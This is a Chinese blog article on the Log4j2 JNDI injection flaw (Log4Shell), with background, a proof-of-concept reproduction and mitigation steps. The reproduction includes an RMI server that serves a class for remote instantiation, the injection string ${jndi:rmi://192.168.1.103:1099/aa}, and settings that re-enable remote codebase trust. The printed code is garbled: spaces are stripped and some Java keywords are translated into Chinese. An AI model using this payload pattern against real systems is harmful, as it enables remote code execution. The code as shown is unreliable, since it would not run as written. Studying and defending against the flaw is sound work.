当前位置: 首页 > 后端技术 > Java

Log4j2epic漏洞导致的JNDI注入问题分析

时间:2023-04-01 20:35:30 Java

背景ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,引入了大量丰富的特性。日志框架广泛应用于业务系统开发中,用于记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志,比如用户登录时打印一些异常信息,比如xxx密码输入错误超过5次,账号被锁定;xxx账号已被锁定;xxx账号经常异地登录。不久前,Apache开源项目Log4j的远程代码执行漏洞细节被披露。由于Log4j的广泛使用,一旦该漏洞被攻击者利用,将造成严重危害。据悉,ApacheLog4j2.x<=2.14.1版本将受到影响。受影响的应用包括但不限于:Spring-Boot-strater-log4j2、ApacheStruts2、ApacheSolr、ApacheFlink、ApacheDruid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka等。由于该组件应用广泛,使用门槛很低,危害极大。网络安全专家建议所有用户尽快升级到安全版本>=2.15.0。漏洞详解srping-boot-strater-log4j2该漏洞的出现是由于Log4j2提供的查找功能,允许开发者通过一些协议读取对应环境中的配置。但在执行过程中,对输入判断不严,导致漏洞的出现。Log4j2官方文档漏洞详解JNDI与RMI的关系JNDI可以远程下载类文件构建对象漏洞复现黑客在自己的客户端用恶意代码启动一个rmi服务,通过服务器的log4j漏洞,到服务器的jndi上下文查找时,连接到自己的rmi服务器。服务器连接rmi服务器执行查找时,会通过rmi查询地址指向的引用,并在本地实例化类,所以在类中的构造方法或者静态代码块中写逻辑,这个逻辑会是当服务器(jndirmi进程中的客户端)被实例化时执行,导致jndi注入。代码4.0.0com.lingyejunlog4j2-safe1.0-SNAPSHOTorg.apache.logging.log4jlog4j-api<版本>2.14.0org.apache.logging.log4jlog4j-core2.14.0packagecom.lingyejun.rmi;importjavax.naming.Context;importjavax.naming.Name;importjavax.naming.spi.ObjectFactory;importjava.util.Hashtable;publicclassHackerAttackCodeimplementsObjectFactory{publicHackerAttackCode(){}static{System.out.println("黑客正在攻击你的服务器");}publicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtableenvironment)throwsException{returnnull;}}packagecom.lingyejun.rmi;importcom.sun.jndi.rmi.registry.ReferenceWrapper;导入javax.naming.Reference;导入java.rmi.registry.LocateRegistry;导入java.rmi.registry.Registry;公共类RmiServer{publicstaticvoidmain(String[]args){try{LocateRegistry.createRegistry(1099);注册表registry=LocateRegistry.getRegistry();//newReference()中的第三个参数表示HackerAttackCode类文件的路径,可以是ftp、http协议,本机可以直接写nullReferencereference=newReference("com.lingyejun.rmi.HackerAttackCode","com.lingyejun.rmi.HackerAttackCode",null);ReferenceWrapperreferenceWrapper=newReferenceWrapper(reference);registry.bind("aa",referenceWrapper);.out.println("RMI服务器已经启动");}catch(Exceptione){e.printStackTrace();}}}packagecom.lingyejun;importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclassLog4j2SafeMain{privatestaticfinalLoggerLOGGER=LogManager.getLogger();publicstaticvoidmain(String[]args){StringuserName="lingyejun";LOGGER.info("用户{}登录成功",userName);userName="${java:runtime}";LOGGER.info("用户{}登录成功",userName);//Java高版本默认不会执行远程类,只有低于8u121的版本会被rmi注入,低于8u191的版本会被ldap注入/*System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");System.setProperty("com.sun.ldap.rmi.object.trustURLCodebase","true");*/userName="${jndi:rmi://192.168.1.103:1099/aa}";LOGGER.info("用户{}登录成功",userName);}}编写测试代码需要注意以下几点:1、视频中newReference()中,第三个参数表示EvilObj类文件的路径,可以是ftp、http协议,机器上直接写null。2、在测试类中,由于JDK版本的原因,可能会报objectfactoryisuntrusted错误,因为高版本的Java默认不会执行远程类,只有低于8u121的版本才会被rmi注入,以及低于8u191的版本将被ldap注入。在Log4jTest类中添加:System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");System.setProperty("java.rmi.server.useCodebaseOnly","false");3.凌夜君jdk版本为1.8.0_144,HackerAttackCode需要实现javax.naming.spi.ObjectFactory接口才能重现。修复临时应急缓解措施(1)修改jvm参数-Dlog4j2.formatMsgNoLookups=true(2)修改配置log4j2.formatMsgNoLookups=True(3)设置系统环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS为true2.修复计划检查所有使用Log4j组件的系统,升级log4j组件版本到2.15.0或更高版本。总之,不要相信客户端输入的信息,总是相信用户的输入是危险的。如果本文对您有帮助,请给“凌夜君”点个赞,谢谢支持。